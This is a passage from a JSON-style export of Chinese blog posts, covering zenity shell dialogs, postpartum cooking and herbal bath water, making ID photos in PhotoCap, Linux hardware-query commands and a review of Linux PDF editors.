選擇檔案（File selection） zenity 也可以讓使用選擇一個檔案，使用方式為：\nzenity --file-selection 結果為\n若要取得使用者選擇的檔案：\nFILE=`zenity --file-selection` 使用 \u0026ndash;filename 可以指定預設的檔案名稱：\nzenity --file-selection --filename=\u0026#34;myfile.txt\u0026#34; 若要選擇目錄，則加入 \u0026ndash;directory 參數：\nzenity --file-selection --directory 若要選擇多個檔案或目錄，則可加入 \u0026ndash;multiple 參數，並使用 \u0026ndash;separator 指定檔案或資料夾的分個字元，例如以逗點分隔：\nzenity --file-selection --multiple --separator=\u0026#34;,\u0026#34; 選擇日期（Calendar） zenity 除了選擇檔案之外，也可以讓使用選擇一個日期，使用方式為：\nzenity --calendar --text=\u0026#34;請選擇一個日期\u0026#34; 結果為 預設的日期是當天的日期，也可以加入一些參數來更改：\nzenity --calendar --text=\u0026#34;請選擇一個日期\u0026#34; --day=19 --month=9 --year=1998 若是要取得使用者所選擇的日期，則可以使用這樣的方式：\nDATE=`zenity --calendar --text=\u0026#34;請選擇一個日期\u0026#34;` 這樣使用者所選擇的日期就會儲存在 DATE 這個變數中。\n選擇指定的選項（List） zenity 可以讓使用者從指定的一些選項中選擇一個或多個選項，例如要讓使用者選擇一個卡通人物：\nzenity --list --text=\u0026#34;請選擇一個卡通人物\u0026#34; --column=\u0026#34;姓名\u0026#34; \u0026#34;大雄\u0026#34; \u0026#34;多啦A夢\u0026#34; \u0026#34;胖虎\u0026#34; \u0026#34;小福\u0026#34; 結果為\n要取得使用者選擇的選項，則可以使用：\nSELECTION=`zenity --list --text=\u0026#34;請選擇一個卡通人物\u0026#34; --column=\u0026#34;姓名\u0026#34; \u0026#34;大雄\u0026#34; \u0026#34;多啦A夢\u0026#34; \u0026#34;胖虎\u0026#34; \u0026#34;小福\u0026#34;` zenity 也可以顯示多個欄位，提供使用者更多資訊：\nzenity --list --text=\u0026#34;請選擇一個卡通人物\u0026#34; --print-column=ALL --column=\u0026#34;姓名\u0026#34; --column=\u0026#34;興趣\u0026#34; \u0026#34;大雄\u0026#34; \u0026#34;睡覺\u0026#34; \u0026#34;多啦A夢\u0026#34; \u0026#34;銅鑼燒\u0026#34; \u0026#34;胖虎\u0026#34; \u0026#34;揍大雄\u0026#34; \u0026#34;小福\u0026#34; \u0026#34;不知道\u0026#34; 結果為\n若要讓使用者可以同時選擇多個選項，則可加入 \u0026ndash;multiple 參數，另外再配合 \u0026ndash;separator 指定分隔輸出結果的字元：\nzenity --list --text=\u0026#34;請選擇一個卡通人物\u0026#34; --multiple --separator=\u0026#34;,\u0026#34; --column=\u0026#34;姓名\u0026#34; \u0026#34;大雄\u0026#34; \u0026#34;多啦A夢\u0026#34; \u0026#34;胖虎\u0026#34; \u0026#34;小福\u0026#34; 將第一個欄位設定為勾選方塊，並且設定預設打勾的選項：\nzenity --list --text=\u0026#34;請選擇一個卡通人物\u0026#34; --checklist --column=\u0026#34;\u0026#34; --column=\u0026#34;姓名\u0026#34; TRUE \u0026#34;大雄\u0026#34; FALSE \u0026#34;多啦A夢\u0026#34; FALSE \u0026#34;胖虎\u0026#34; FALSE \u0026#34;小福\u0026#34; 結果為\n將第一個欄位設定為單選（radio）方塊，並且設定預設的選項：\nzenity --list --text=\u0026#34;請選擇一個卡通人物\u0026#34; --radiolist --column=\u0026#34;\u0026#34; --column=\u0026#34;姓名\u0026#34; TRUE \u0026#34;大雄\u0026#34; FALSE \u0026#34;多啦A夢\u0026#34; FALSE \u0026#34;胖虎\u0026#34; FALSE \u0026#34;小福\u0026#34; 結果為\n選擇數值或比例（Scale） zenity 可以顯示一個 scale bar 讓使用者很方便的選擇一個數值或比例：\nzenity --scale --text=\u0026#34;選擇比例\u0026#34; 結果為\n可選擇的數值範圍預設是 0 到 100，亦可使用 --min-value 與 --max-value 兩個參數來更改可選擇的範圍，並配合 --value 設定預設的數值（預設為 0，若是設定最小的範圍大於 0，則一定要使用 --value 參數來更改預設數值，否則會出現數值超過界限的錯誤）：\nzenity --scale --min-value=50 --max-value=500 --value=100 --text=\u0026#34;選擇數值\u0026#34; 若要取得使用者選擇的數值，則使用：\nVALUE=`zenity --scale --text=\u0026#34;選擇比例\u0026#34;` 顯示進度（Progress） zenity 可以從標準輸入讀入程式執行進度（0 到 100 的數值），然後以圖形顯示出來，這個用法通常是用在一個要跑比較久的程式，將其輸出導給 zenity。這裡我用一個簡單的 Perl Script 當作一個要執行比較久的程式，他會產生 0 到 100 的數值導給 zenity 顯示：\nperl -e \u0026#39;$|=1;for(1..10){sleep 1;print ++$i*10,\u0026#34;\\n\u0026#34;}\u0026#39;|zenity --progress 結果為\n若要讓顯示進度的對話方塊在完成時自動關閉，可加入 \u0026ndash;auto-close 參數；當使用者按下取消按鈕時，若要中止（kill）父程序，則可加入 \u0026ndash;auto-kill 參數。\n選擇顏色（Color Selection） zenity 可以顯示一個調色盤讓使用者選擇想要的顏色：\nzenity --color-selection 結果為\n要取得使用者所選擇的顏色也是使用類似的方式：\nCOLOR=`zenity --color-selection` 系統通知區圖示（Notification icon） zenity 除了顯示一般的對話方塊之外，也可以用來顯示系統通知區圖示，例如：\nzenity --notification --text=\u0026#34;這是訊息內容\u0026#34; 結果為\n當滑鼠移到通知區的圖示上時，就會顯示訊息內容。\nzenity 的功能五花八門，這裡筆者介紹大部分常用到的功能，其餘的部份可以參考其 man page、或是用 \u0026ndash;help 參數查詢其使用方式，善用 zenity 這個小工具可以很簡單的將圖形使用者介面加入到一般的指令搞中，非常方便。\n","permalink":"https://blog.gtwang.org/programming/zenity-gui-utility/","summary":"\u003cp\u003e在編寫與使用者互動的指令稿（shell script）時，傳統的作法都是在 console 中使用一般的文字模式顯示與讀取資料，這種程式在使用起來常常不如圖形使用者介面的程式直覺，而若是要加入圖形使用者介面，程式開發者必須熟悉圖形使用者介面函式庫（例如 GTK 與 Qt 等）的使用方式，並且還要加入大量的程式碼，所以通常小程式都沒有圖形使用者介面。\u003c/p\u003e","title":"Zenity：在 Shell Script 中顯示圖形使用者介面"},{"content":"坐月子不能吃到冷的食物，夏天是瓜類盛產的季節，但幾乎所有的瓜類都是偏冷的，坐月子都不能吃，外面的葉菜常常都很多農藥，也不敢去買，有機商店賣的菜雖然很好，但是價格也比較高。\n還好最近家裡剛好有好多我爸自己種的長豆，自己種的都會注意盡量不要噴藥，如果真的要噴，有要等到藥期過了之後，有蟲長出來了才去採收，這樣吃起來才比較沒有問題。\n有了長豆我又再去里仁買一包有機洋菇，菇類就沒辦法自己種了，不過量不多，買有機的還是比較好，一包就可以夠炒好幾餐了。\n首先準備主要食材：長豆、洋菇與幾片老薑，量要多少就看個人喜好，因為我只有煮一人份的量，所以沒有準備很多，\n再來就是坐月子常用的麻油了，台南西港產的麻油是台灣最好的黑芝麻油之一，因為我有認識那裡中芝麻的農民，所以是跟他們直接買剛榨好的麻油，品質很好又很新鮮，一般若是沒有認識的農民或是不想大老遠跑到產地去買的話，也可以到西港鄉農會的網站訂購，西港鄉農會賣的麻油也是跟西港的農們收購芝麻之後來製作的，品質也非常好，只是他包裝的比較漂亮，就會稍微貴一些，不過其實價格也算合理，所以推薦大家直接跟農會購買。\n有許多人認為西港的黑麻油比外面賣黑麻油的貴，但是其實真正的純麻油他的成本就是這麼高，賣這樣算是賣這樣算是合理，若是你看到外面也有賣黑麻油，但是很便宜，那你可能就要思考看看他是不是真的很純，不然就是進口的泰國芝麻，泰國芝麻是比較便宜，但若是泰國芝麻的話，他的營養成份沒有台灣的芝麻好，另外因為芝麻要從泰國運送到台灣，若是在這運送的過程中，芝麻存放的時間過長，或是廠商因為屯貨的問題，沒有立即製作成麻油，這都會使芝麻很容易產生黃麴毒素，所以雖然台灣芝麻貴了一些，但是其實一分錢一分貨，還是建議使用台灣的芝麻。\n除了這些之外，再準備米酒水，現在臺灣菸酒（原公賣局）有賣幾乎沒有酒精的米酒水，這些米酒是製酒時蒸餾後得到的，專門提供給產婦坐月子用，用這個米酒水就不用像傳統上用米酒還要把酒精煮掉，省了很多時間，\n基本上煮法很簡單，用麻油爆老薑，再把長豆與洋菇丟下去，淋一些米酒水大火炒一炒，鍋蓋蓋起來轉小火悶一下，然後就可以起鍋了，\n通常一般人這樣用麻油、老薑與米酒水就很補了，若是體質較好的人（吃補不會上火或不舒服的人），也可以加一些其他更補的酒，像我就有去新竹關西買龍眼蜜酒，也是跟認識的蜂農買的，他們是養蜜蜂賣蜂蜜、蜂王乳的，自己採的蜜一部分就直接拿來釀酒，所以也是純龍眼蜜造的酒，品質很好，我每次炒菜就加一些，炒出來的菜就會有龍眼蜜的香味。\n龍眼本身就是很補的水果，釀成酒當然又更補，重點是龍眼蜜酒非常香，聞到口水都會流出來，兩年前去買回來的時候因為酒才剛釀好，味道很嗆，放到現在味道好很多了，酒精濃度大概跟高粱差不多，所以平常也不會去喝它（若是像水果酒的話，早就給我喝掉了），放到現在剛好拿來用，不過龍眼蜜酒真的很補，我每次也不敢用太多，不然補過頭反而傷身。\n","permalink":"https://blog.gtwang.org/life/confinement-sesame-beans-mushrooms/","summary":"\u003cp\u003e坐月子不能吃到冷的食物，夏天是瓜類盛產的季節，但幾乎所有的瓜類都是偏冷的，坐月子都不能吃，外面的葉菜常常都很多農藥，也不敢去買，有機商店賣的菜雖然很好，但是價格也比較高。\u003c/p\u003e","title":"坐月子料理：麻油炒洋菇長豆"},{"content":"媽媽坐月子要洗澡的話一定不能用一般的水洗，通常都要煮大風草水來洗，現在要自己煮大風草水都很方便了，一般的中藥行都有賣配好的藥浴包，買回來就可以直接煮了，這裡介紹大風草水的煮法，雖然很簡單，但是沒煮過的人一開始還真的不知道怎麼煮（像我就是）。\n首先要去買大風草藥浴包，一般的中藥行應該都會有，網路上也一堆，如果您也住竹北的話，我推薦一家「神農百草」藥草行，地址是竹北市四維街 172 號（就在仁義市場旁邊），老闆與老闆娘人很好，賣的東西也很實在，我的這個藥浴包就是再那兒買的，一小包五十元，它都是十包一大袋賣：\n通常藥浴包煮過一次就丟了，有些人怕浪費會煮第二次，不過第二次的效果當然會差很多，所以基本上是每洗一次就要用一包，所以在買的時候就可以一次買好要用的藥包數量，免得又要跑一趟。\n接著準備一個大鍋子，鍋子要多大就看洗澡或擦澡需要多少水，我因為沒有更大的鍋子，所以就用這一個，我感覺若有更大一些的鍋子會更好，這樣煮出來就有比較多水可以洗。接著加入八九分滿的自來水，建議不要加太滿，不然水滾的時候很容易溢出來：\n要煮的時候，將藥浴包放進鍋子中，藥浴包放進水裡的時候，一定會浮起來，我第一次煮的時候，還想把藥包壓進水中，想說這樣煮的效果會不會比較好，結果發現不管怎麼壓，水滾了之後，藥包還是會浮上來，所以不用浪費力氣去壓它了，這樣就可以直接煮了：\n接著蓋上鍋蓋，就可以開火了，一開始水還沒滾，可以直接開大火：\n在水滾了之後就把鍋蓋稍微打開，並且轉小火繼續煮個半小時。如果沒有打開鍋蓋與轉小火的話，在水滾的時候很容易產生很多泡泡然後溢出鍋子，大風草水煮出來都是黃褐色的，若是溢出來沾到的地方都是那個顏色，所以這個動作一定要做，否則就等著刷瓦斯爐吧（我就是這樣）。\n小火煮個半小時之後，大風草水就完成了。等它涼一些就可以拿來擦澡了，有些人會直接加一般的生水混著使用，不過我個人是建議放涼了來用比較好，不要加生水，尤其是用來擦頭的水，用整鍋煮過的大風草水來洗效果會比較好。\n","permalink":"https://blog.gtwang.org/life/confinement-bathing-water/","summary":"\u003cp\u003e媽媽坐月子要洗澡的話一定不能用一般的水洗，通常都要煮大風草水來洗，現在要自己煮大風草水都很方便了，一般的中藥行都有賣配好的藥浴包，買回來就可以直接煮了，這裡介紹大風草水的煮法，雖然很簡單，但是沒煮過的人一開始還真的不知道怎麼煮（像我就是）。\u003c/p\u003e","title":"自己煮坐月子洗澡用的大風草水"},{"content":"以往要拍大頭照都要到照相館去拍，很麻煩又要花大錢，像我個人就很不喜歡拍大頭照。不過現在數位相機很便宜，一般的手機也都有內建相機功能，再加上現在相館都有數位快速沖洗的服務，自己拍好在拿去洗就可以了，快速又省錢。\n首先必須準備一個數位相機，找個白色的背景來拍，不要找太花的背景，免得之後還要修圖，自找麻煩。\n這裡我用兩張小狗的相片來示範，假設這是已經拍好的一般照片：\n接下來就是要將這兩張照片貼在 4×6 的相片上，一張 4×6 的相片可以貼八張兩吋的大頭照，一般的繪圖軟體都可以貼，不過建議使用 PhotoCap 來製作，這個軟體有特別設計製作大頭照得功能，會方便很多，PhotoCap 是免費的，到 PhotoCap 網站下載後安裝就可以用了，不過現在似乎只有 Windows 版本，若是 Linux 使用者就要自己想辦法了。\n安裝好 PhotoCap 之後，桌面上應該就會有一個 PhotoCap 捷徑，直接開啟他：\n在 PhotoCap 視窗上方的工具列有一個「大頭照」的按鈕，這就是專門用來製作大頭照的功能，直接點下去，\n這時候就會看到一個選擇版模的視窗，每個版模都有說明，就依照你的需求來選擇，像這裡我有兩張照片，我就選「4×6 照片排 8 張 2 吋符合新版證照規範的大頭照版模（2人）」這一個，\n接下來就要開始排版大頭照了，首先點選左上角的「載入照片」，先把剛剛照好兩張照片載入進來，\n開啟的兩張照片會顯示在左邊的選單中，中間是將照片排在 4×6 相紙上的結果，而右上角有個微調視窗，視窗裡面有紅色的虛線描繪出人像的標準位置，你可以用滑鼠拖曳黃色的方框，調整人像的位置與大小，\n調整人像的大小與位置之後，基本上就完成了，接下來就是將排版好的照片輸出，點選左上方的「輸出大頭照」，\n輸出時會你指定輸出的目錄，預設是 c:photos，若是只有一張就直接選擇桌面就好了，省得還要再去開資料夾找，最後點開始輸出，這樣就大功告成啦！\n接下來就可以拿個隨身碟帶去相館沖洗了，最近剛去嬡美洗了幾張 4×6 的相片，也製作了一些大頭照一起洗，一張 4×6 的相片 3.5 元，排了 8 張大頭照，所以等於一張大頭照是 3.5 / 8 = 0.4375 元，不到五角，真是太便宜了。\n在製作大頭照的時候，要注意一點就是照片的解析度要夠，這裡因為只是示範，所以我沒有用很高解析度的照片，若解析度不夠，PhotoCap 在輸出照片時就會出現警告：\n他會告訴你至少要多少解析度才夠，像第一張的小狗切出來的照片解析度為 424×500，但是 PhotoCap 要求要有 413×531，解析度輕微不足，這樣可能還好，但是第二張就差很多了，切出來是 208×243，但 PhotoCap 要求要有 413×531，這樣是一定不行的，若是拿這樣的照片去相館沖洗的話，洗出來一定會很模糊，等於白做，所以建議一定要拿解析度夠的照片來製作。\n","permalink":"https://blog.gtwang.org/useful-tools/photocap-photo-editor/","summary":"\u003cp\u003e以往要拍大頭照都要到照相館去拍，很麻煩又要花大錢，像我個人就很不喜歡拍大頭照。不過現在數位相機很便宜，一般的手機也都有內建相機功能，再加上現在相館都有數位快速沖洗的服務，自己拍好在拿去洗就可以了，快速又省錢。\u003c/p\u003e","title":"使用 PhotoCap 自製大頭照，快速又省錢"},{"content":"有時候我們會需要查詢電腦的硬體資訊，例如 CPU、顯示卡、記憶體等，最直接的方式就是拆開電腦機殼，找每一個硬體的資訊，但這樣實在很麻煩，尤其是在有些電腦的硬體不見得從外觀上就可以看得出來。\n這裡將介紹在 Linux 系統下查詢硬體資訊的一些小工具，有了這些工具，可以省下不少時間，而且得到的電腦硬體資訊也更為詳細。\nlshw 第一個介紹的工具是 lshw，他是 list hardware 的縮寫，這個工具必須以 root 權限來執行（若是以一般使用者來執行，就會出現一些警告訊息）：\n# 列出硬體資訊 sudo lshw 這個工具會列出電腦中所有的硬體資訊，第一個部份是一般性的資訊，看起來就像這樣：\nseal-laptop description: Computer product: iBook G4 vendor: Copyright 1983-2004 Apple Computer, Inc. All Rights Reserved serial: QJP width: 32 bits 這是在筆者的 iBook G4 上執行的結果，其顯示電腦的型號是 iBook G4，製造廠商是 Apple Computer，另外也顯示這是一台 32 位元的機器，接著會列出其他細部的資訊，lshw 所提供的資訊非常詳細，大致尚可分為下面幾項：\nfirmware \u0026ndash; motherboard and BIOS information cpu \u0026ndash; CPU information cache \u0026ndash; cache information memory \u0026ndash; memory information bank \u0026ndash; specific bank memory information pci \u0026ndash; PCI bus information display \u0026ndash; PCI display adapter multimedia \u0026ndash; PCI audio adapter pci \u0026ndash; other PCI devices network \u0026ndash; PCI network adapter usb \u0026ndash; USB devices ide \u0026ndash; IDE information disk \u0026ndash; individual disks volume \u0026ndash; volumes on this disk 以下是節錄的輸出訊息：\n*-core description: Motherboard physical id: 0 clock: 133MHz capabilities: powerbook6_5 macrisc3 power_macintosh *-firmware product: OpenFirmware 3 physical id: 0 logical name: /proc/device-tree capabilities: bootinfo *-memory description: System memory physical id: 1 size: 768MiB *-bank:0 description: Memory bank physical id: 0 version: 0000,00 00,00 slot: DIMM0/BUILT-IN size: 256MiB *-bank:1 description: Memory bank physical id: 1 version: 0000,2D 04,54 serial: TS64MSD64V6J slot: DIMM1/J31 size: 512MiB *-cpu description: CPU product: 7447A, altivec supported physical id: 2 bus info: cpu@0 version: 1.1 (pvr 8003 0101) size: 1066MHz capacity: 1066MHz clock: 133MHz capabilities: altivec performance-monitor cpufreq *-cache:0 description: L1 Cache physical id: 0 size: 32KiB *-cache:1 description: L2 Cache (unified) physical id: 1 size: 512KiB clock: 1066MHz (0.9ns) [略] 由細部的資訊可以看出這台電腦的記憶體有兩條，一條是 256M，另一條是 512M。\n雖然 lshw 所提供的資訊相當完整，但有時候我們只需要查詢某一部份的資訊，其實不需要將所有的資訊全部列出來，這時候可以改用其他的工具來處理。\nlscpu lscpu 是專門用來查詢 CPU 資訊的工具：\n# 查詢 CPU 資訊 lscpu 其輸出類似像這樣：\nArchitecture: ppc CPU(s): 1 Model: PowerBook6,5 L1d cache: 32K L1i cache: 32K L2 cache: 512K 由 lscpu 的輸出資訊可以看出這台機器只有一顆 ppc 的 CPU。下面是筆者在另一台機器上的 lscpu 輸出：\nArchitecture: x86_64 CPU op-mode(s): 32-bit, 64-bit CPU(s): 4 Thread(s) per core: 1 Core(s) per socket: 4 CPU socket(s): 1 NUMA node(s): 1 Vendor ID: GenuineIntel CPU family: 6 Model: 15 Stepping: 11 CPU MHz: 2405.096 Virtualization: VT-x L1d cache: 32K L1i cache: 32K L2 cache: 4096K 這裡的輸出就比較詳細了：CPU 的製造廠商是 Intel，四核心、64 bits，時脈是 2.4 GHz。\nlspci 若是要查看顯示卡的型號，可以使用 lspci 這個工具，它會列出所有 PCI bus 上的硬體裝置資訊：\n# 列出 PCI 硬體裝置資訊 lscpi 以下是 lspci 的輸出：\n0000:00:0b.0 Host bridge: Apple Computer Inc. UniNorth 2 AGP 0000:00:10.0 VGA compatible controller: ATI Technologies Inc M9+ 5C63 [Radeon Mobility 9200 (AGP)] (rev 01) 0001:10:0b.0 Host bridge: Apple Computer Inc. UniNorth 2 PCI 0001:10:12.0 Network controller: Broadcom Corporation BCM4306 802.11b/g Wireless LAN Controller (rev 03) 0001:10:17.0 Unassigned class [ff00]: Apple Computer Inc. KeyLargo/Intrepid Mac I/O 0001:10:18.0 USB Controller: Apple Computer Inc. KeyLargo/Intrepid USB 0001:10:19.0 USB Controller: Apple Computer Inc. KeyLargo/Intrepid USB 0001:10:1a.0 USB Controller: Apple Computer Inc. KeyLargo/Intrepid USB 0001:10:1b.0 USB Controller: NEC Corporation USB (rev 43) 0001:10:1b.1 USB Controller: NEC Corporation USB (rev 43) 0001:10:1b.2 USB Controller: NEC Corporation USB 2.0 (rev 04) 0002:20:0b.0 Host bridge: Apple Computer Inc. UniNorth 2 Internal PCI 0002:20:0d.0 Unassigned class [ff00]: Apple Computer Inc. UniNorth/Intrepid ATA/100 0002:20:0e.0 FireWire (IEEE 1394): Apple Computer Inc. UniNorth 2 FireWire (rev 81) 0002:20:0f.0 Ethernet controller: Apple Computer Inc. UniNorth 2 GMAC (Sun GEM) (rev 80) 由 lspci 的輸出可以看出這台機器的顯示卡是 ATI 的 Radeon Mobility 9200。\n在安裝硬體驅動程式時，有了這個資訊就可以上 Google 查一下如何對這張顯示卡做最佳化的設定。\nlsusb lsusb 可以列出所有的 USB 裝置：\n# 列出 USB 裝置 lsusb 以下是其輸出：\nBus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 003 Device 002: ID 045e:00cb Microsoft Corp. Basic Optical Mouse v2.0 Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub 由這個輸出可以看出來目前的 USB 裝置只有一個 Microsoft 的滑鼠。\nlsmod 最後一個檢查硬體的方式是從 Linux 系統所載入的模組來看，lsmod 這個指令會列出所有被系統載入的模組：\n# 列出 Linux 核心模組 lsmod 其輸出為：\nModule Size Used by sg 30929 0 binfmt_misc 8080 1 parport_pc 38386 0 ppdev 7570 0 lp 8921 0 parport 36140 3 parport_pc,ppdev,lp arc4 1357 2 b43 318676 0 mac80211 282008 1 b43 radeon 1040735 2 ttm 66008 1 radeon drm_kms_helper 33273 1 radeon drm 200444 5 radeon,ttm,drm_kms_helper cfg80211 167453 2 b43,mac80211 snd_aoa_i2sbus 19627 0 rtc_generic 1407 0 snd_aoa_soundbus 4824 1 snd_aoa_i2sbus therm_adt746x 9532 0 apm_emu 1480 0 apm_emulation 6952 2 apm_emu uninorth_agp 7604 1 snd_powermac 66253 2 snd_pcm 84435 2 snd_aoa_i2sbus,snd_powermac snd_seq_midi 5492 0 snd_rawmidi 21923 1 snd_seq_midi snd_seq_midi_event 7179 1 snd_seq_midi snd_seq 57836 2 snd_seq_midi,snd_seq_midi_event snd_timer 23210 2 snd_pcm,snd_seq snd_seq_device 6870 3 snd_seq_midi,snd_rawmidi,snd_seq snd 59885 11 snd_aoa_i2sbus,snd_powermac,snd_pcm,snd_rawmidi,snd_seq,snd_timer,snd_seq_device soundcore 1148 1 snd snd_page_alloc 7313 1 snd_pcm usbhid 41179 0 hid 77979 1 usbhid ssb 49052 1 b43 firewire_ohci 32381 0 mmc_core 82058 1 ssb firewire_core 58790 1 firewire_ohci sungem 31873 0 sungem_phy 11933 1 sungem crc_itu_t 1475 1 firewire_core 由系統載入的模組也可以多少看出有哪些硬體存在。\n/proc/cpuinfo 要查詢 CPU 的資訊除了上述的方式外，也可以直接查看 /proc/cpuinfo 這個檔案：\n# 查詢 CPU 資訊 cat /proc/cpuinfo 其輸出的資訊更為詳細：\nprocessor : 0 vendor_id : GenuineIntel cpu family : 6 model : 15 model name : Intel(R) Core(TM)2 Quad CPU Q6600 @ 2.40GHz stepping : 11 cpu MHz : 2405.096 cache size : 4096 KB physical id : 0 siblings : 4 core id : 0 cpu cores : 4 apicid : 0 initial apicid : 0 fpu : yes fpu_exception : yes cpuid level : 10 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm dts tpr_shadow vnmi flexpriority bogomips : 4810.19 clflush size : 64 cache_alignment : 64 address sizes : 36 bits physical, 48 bits virtual power management: processor : 1 vendor_id : GenuineIntel cpu family : 6 model : 15 model name : Intel(R) Core(TM)2 Quad CPU Q6600 @ 2.40GHz stepping : 11 cpu MHz : 2405.096 cache size : 4096 KB physical id : 0 siblings : 4 core id : 3 cpu cores : 4 apicid : 3 initial apicid : 3 fpu : yes fpu_exception : yes cpuid level : 10 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm dts tpr_shadow vnmi flexpriority bogomips : 4811.10 clflush size : 64 cache_alignment : 64 address sizes : 36 bits physical, 48 bits virtual power management: [略] dmidecode dmidecode 可以輸出一些 BIOS 中的資訊，例如主機板的資訊：\n# 列出主機板資訊 sudo dmidecode -t 2 # dmidecode 3.0 # SMBIOS entry point at 0x000f04d0 Found SMBIOS entry point in EFI, reading table from /dev/mem. SMBIOS 2.7 present. Handle 0x0002, DMI type 2, 15 bytes Base Board Information Manufacturer: Supermicro Product Name: X9DRG-QF Version: 0123456789 Serial Number: 0123456789 Asset Tag: To be filled by O.E.M. Features: Board is a hosting board Board is replaceable Location In Chassis: To be filled by O.E.M. Chassis Handle: 0x0003 Type: Motherboard Contained Object Handles: 0 Invalid entry length (16). Fixed up to 11. 以下是使用 dmidecode 查詢各種硬體資訊的指令：\ndmidecode -t processor # CPU dmidecode -t slot # PCI 插槽 dmidecode -t system # 主機廠商 dmidecode -t baseboard # on-board 設備 參考網站：Linux Journal\n","permalink":"https://blog.gtwang.org/linux/linux-hardware-information-command/","summary":"\u003cp\u003e有時候我們會需要查詢電腦的硬體資訊，例如 CPU、顯示卡、記憶體等，最直接的方式就是拆開電腦機殼，找每一個硬體的資訊，但這樣實在很麻煩，尤其是在有些電腦的硬體不見得從外觀上就可以看得出來。\u003c/p\u003e","title":"在 Linux 下查詢硬體資訊的工具指令"},{"content":"PDF 檔雖然是一個跨平台的檔案格式，但 Adobe 只有提供免費的 Adobe Reader，要看 PDF 檔是沒有問題，但常常我們會需要對 PDF 檔做一些簡單的編輯，光靠 Adobe Reader 就沒有辦法處理，例如取出 PDF 檔中的某幾頁，或是將兩個 PDF 檔合併成一個 PDF 檔等，這些動作雖然簡單，但是 Adobe Reader 卻都沒有提供，有時也是很困擾。\n這裡介紹一些在 Linux 下用來編輯 PDF 檔的工具，因為這些都是免費的小工具，所以功能可能都比不上花錢買的 Adobe Acrobat，不過若是只是要做一些簡單的動作倒是很方便。\nPDF-Shuffler PDF-Shuffler 是一個使用 python-gtk 寫成的小工具，他可以協助使用者合併或分割 PDF 檔，另外也可以對 PDF 的每一頁做旋轉、切割或重新排序。事實上他就是 python-pyPdf 的一個圖形化使用者介面。\n在 Ubuntu Linux 下可以用 apt 直接安裝：\nsudo apt-get install pdfshuffler 其使用者介面很簡單，只有幾個按鈕而已，使用者一開始可以使用 Import pdf 功能匯入要編輯的 PDF 檔，匯入之後 PDF-Shuffler 就會將 PDF 檔的內容顯示出來：\n這個時候使用者就可以開始編輯了，若要調整每一頁的順序，可以直接使用滑鼠將要調整的那一頁拖到想要的位置：\nPDF Split and Merge（PDFsam） PDF Split and Merge 是一個很簡單的小工具，這個程式是用 Java 語言寫成的，其 basic 版本只有提供使用者分割或合併 PDF 檔的功能，若是要更多的功能可以下載其 enhanced 版本的原始碼自己編譯，或是捐一點錢給 PDFsam 然後下載他編譯好版本來用。\nPDFsam 的 basic 版本在 Ubuntu 下可使用 apt 安裝：\nsudo apt-get install pdfsam 這個工具有指令與圖形兩種使用介面，但其實其圖形介面也只有簡單的指定參數功能而已，比較沒有互動式的功能。\n在 Split 功能中可以指定要分割的內容，例如奇數頁、偶數頁等，這些功能在處理大量有規則的 PDF 檔時會比較好用。\nMerge/Extract 功能就比較單純，只是將選取的 PDF 檔合併而已。\nPDFsam 的 enhanced 版本比 basic 版本多了下面的功能：\n加密 PDF 檔（RC40 bits, RC128 bits, AES128 bits）與設定 PDF 檔案權限。 將一個 PDF 檔作為 front page 或 addendum 合併至另一個 PDF 檔 將兩個 PDF 檔的每一頁以正向或反向交叉合併 取出 PDF 檔中的附加檔案 解密 PDF 檔 設定 viewer 的選項，指定如何開啟 PDF 檔 設定 PDF 檔的 metadata（author, title, subject and keywords） PDF Mod PDF Mod 是 GNOME 桌面環境下的 PDF 檔案編輯程式，這個應用程式是以 C# 語言配合 Poppler、PDFsharp、Mono、Gtk#、Cairo 與 Banshee\u0026rsquo;s Hyena 函式庫編寫而成，他的功能與 PDF-Shuffler 類似，但是其功能更多，除了對 PDF 的每一頁做旋轉、切割或重新排序外，還可以編輯 PDF 的書籤、metadata（author, title, subject and keywords）等，另外其使用者介面也做的更好，有許多選項可用，操作起來也很直覺，若是一般的 GNOME 桌面使用者筆者很推薦使用 PDF Mod。\n在 Ubuntu 下可用 apt 安裝 PDF Mod：\nsudo apt-get install pdfmod 以下是一些 PDF Mod 的使用畫面：\nPDFedit PDFedit 是一個開放原始碼的函式庫，主要用於編輯 PDF 檔案，這個函式庫包含了包含了包含了圖形使用者介面與命令列工具，其功能相當強大，例如可以編輯 PDF 檔案中的文字與圖片內容，更改文字字型、顏色，另外也可以像繪圖軟體一樣在任意位置加入文字或線條等。\n在 Ubuntu 中可以用 apt 來安裝：\nsudo apt-get install pdfedit 因為 PDFedit 的圖形使用者介面是使用 Qt 連撰寫的，因此在安裝時也要一併安裝 Qt 函式庫，若是使用 apt 來安裝則會自動處理這部份。\nPDFedit 除了選單與工具列的功能之外，PDFedit 也可以使用指令來操控，在畫面下方也會顯示使用者在操作時實際所執行的指令為何。\n由於 PDFedit 的功能很多，其實一般使用者也不常用（筆者自己也感覺用不太到），若要學習 PDFedit 與其指令的用法，可以參考 PDFedit 官方說明文件。\nPDF Chain PDF Chain 是一個很簡單的 PDF 編輯程式，與 PDF Split and Merge 很相似，都只是提供一個圖形介面輸入參數而已，不過多了一些像加入背景圖片、附加檔案等功能，除此之外都差不多。\n在 Ubuntu 下可使用 apt 安裝 PDF Chain：\nsudo apt-get install pdfchain 結論 嘗試了 Linux 下的各種 PDF 編輯軟體，若只是需要一些簡單的 PDF 頁面分割與合併功能，筆者感覺最好用的就是 PDF Mod，其使用者介面做的最棒，但若是要處理比較大量的 PDF 檔，或是更複雜文字編輯，那就要考慮 PDFedit 或是其他幾個軟體了。\n","permalink":"https://blog.gtwang.org/linux/linux-pdf-editors/","summary":"\u003cp\u003ePDF 檔雖然是一個跨平台的檔案格式，但 Adobe 